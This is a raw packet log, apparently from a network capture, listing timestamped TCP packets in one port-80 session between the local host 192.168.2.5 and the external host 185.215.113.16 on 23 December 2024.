Dec 23, 2024 08:23:39.567265034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.567822933 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.567833900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.567861080 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.567886114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.567898035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.567919016 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.568345070 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.568356991 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.568368912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.568402052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.568435907 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.568505049 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.569071054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.569184065 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.569197893 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.569230080 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.569262028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.569293976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.569848061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.569897890 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.569967985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.569982052 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.570048094 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.570072889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.570672035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.570758104 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.570770979 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.570801020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.570832014 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.570926905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.571450949 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.571496010 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.571510077 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.571522951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.571559906 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.571633101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.572237968 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.572283983 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.572336912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.572350025 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.572392941 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.572431087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.573355913 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.573370934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.573384047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.573395967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.573411942 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.573441982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.573821068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.573884010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.573888063 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.573896885 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.573929071 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.574151993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.574615955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.574662924 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.574676037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.574702024 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.574728966 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.574790001 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.575427055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.575473070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.575495005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.575508118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.575539112 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.575582027 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.576370955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.576389074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.576402903 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.576416969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.576432943 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.576462030 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.577018023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.577032089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.577045918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.577059031 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.577088118 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.577255011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.577847004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.577862024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.577874899 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.577938080 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.578008890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.578651905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.578675032 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.578687906 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.578706980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.578731060 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.578851938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.579546928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.579562902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.579623938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.579623938 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.579637051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.579659939 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.580439091 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.580454111 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.580466986 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.580483913 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.580499887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.580562115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.581306934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.581321955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.581336975 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.581357956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.581374884 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.581486940 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582104921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582119942 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582149982 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.582266092 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582278967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582312107 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.582703114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582715988 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582727909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582741976 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.582758904 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.582776070 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.583367109 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.583379984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.583391905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.583405018 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.583431005 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.584119081 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.584132910 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.584146023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.584173918 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.584202051 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.584252119 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.584868908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.584912062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.585047007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.585061073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.585079908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.585093021 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.585756063 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.585769892 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.585783005 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.585807085 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.585835934 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.586100101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.586575031 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.586591959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.586606026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.586625099 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.586641073 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.586652040 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.587295055 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.587393045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.587465048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.758923054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.758953094 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.758965969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759038925 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.759074926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759356022 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759366989 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759377956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759387970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759413004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.759438038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.759829998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759917974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759929895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.759967089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.760049105 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.760634899 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.760675907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.760931969 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.760943890 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.760970116 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.761353016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.761364937 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.761370897 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.761383057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.761413097 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.761996984 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.762008905 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.762018919 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.762047052 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.762074947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.763243914 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.763264894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.763277054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.763289928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.763302088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.763323069 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.763350964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.764373064 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.764398098 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.764410973 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.764417887 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.764422894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.764445066 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.764446020 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.764456034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.764462948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.764496088 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.764573097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.765928030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.765944958 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.765958071 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.765969992 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.765980959 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.765989065 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.765993118 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.766004086 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.766022921 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.766043901 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.766443014 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.766648054 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.767194033 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.767196894 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.767209053 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.767220020 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.767241955 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.767424107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.767488956 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.767640114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.767652035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.767663002 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.767685890 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.768359900 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.768372059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.768383026 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.768428087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.768445969 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.769202948 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.769215107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.769223928 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.769239902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.769258976 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.769290924 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.769834995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.769876003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.769885063 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.769889116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.769917965 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.770262957 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.770639896 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.770652056 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.770658016 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.770690918 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.770901918 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.771655083 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.771667004 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.771678925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.771693945 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.771693945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.771712065 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.772516966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.772531033 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.772543907 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.772556067 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.772598028 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.772963047 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.773077965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.773097038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.773129940 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.773220062 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.773452044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.773778915 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.773828030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.773839951 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.773869991 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.774003029 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.775382996 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.775398970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.775404930 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.775414944 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.775428057 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.775439024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.775449038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.775459051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.775470972 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.775476933 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.775533915 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.775726080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.776307106 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.776320934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.776328087 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.776348114 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.776365995 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.777122974 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.777144909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.777152061 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.777159929 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.777250051 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.777739048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.778016090 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.778028965 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.778042078 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.778064966 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.778470993 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.778517962 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.778702021 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:39.827888012 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:39.991715908 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.111321926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.428045034 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.428056955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.428128004 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.428175926 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.428303003 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.428316116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.428443909 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.428469896 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.428482056 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.429409027 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.429476023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.429490089 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.429523945 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.429605961 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.429841995 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.429853916 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.429866076 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.429902077 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.429922104 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.552455902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.552473068 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.552484035 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.552537918 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.553029060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.553102970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.553114891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.553127050 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.553148985 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.553318977 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.553438902 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.553491116 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.553503036 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.553509951 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.553554058 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:40.553673983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.554296970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.554307938 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.554320097 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:40.554344893 CET	49731	80	192.168.2.5	185.215.113.16
